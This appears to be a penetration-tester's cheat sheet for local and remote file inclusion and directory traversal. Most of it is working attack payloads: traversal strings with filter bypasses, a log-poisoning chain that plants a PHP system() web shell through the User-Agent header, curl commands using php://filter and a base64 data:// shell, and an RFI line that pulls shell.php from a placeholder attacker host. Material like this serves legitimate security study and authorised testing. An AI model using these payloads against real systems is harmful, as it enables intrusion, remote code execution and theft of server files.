📂 LFI / Directory Traversal

File inclusion: try HTTP, SMB, FILE — every protocol.

Common targets

• Linux user: www-data
• Windows: C:\Windows\System32\drivers\etc\hosts
• IIS: C:\inetpub\logs\LogFiles\W3SVC1, C:\inetpub\wwwroot\web.config
• More Windows/XAMPP paths: windows.

Traversal basics

x/../THE_PATH                     # move into x, back out, find path
parameter=../../../../config.ini
# if ../ is filtered: URL-encode ..%2F or %2e%2e , or use ....//

Log poisoning → RCE (PHP/Apache)

1. Confirm traversal: ../../../var/log/apache2/access.log
2. Inject into the User-Agent header: <?php echo system($_GET['cmd']); ?>
3. Trigger: ...access.log&cmd=ls%20-la

Log paths: /var/log/httpd-access.log, /var/log/apache2/access.log.

PHP filter / data wrappers

curl "http://host/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php"
curl "http://host/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

RFI

Include an attacker-hosted file → parameter=http://ATTACKER/shell.php (serve it: file-transfer).

Reference: PayloadsAllTheThings — Directory Traversal. Bypass str_replace("../","") with ....//.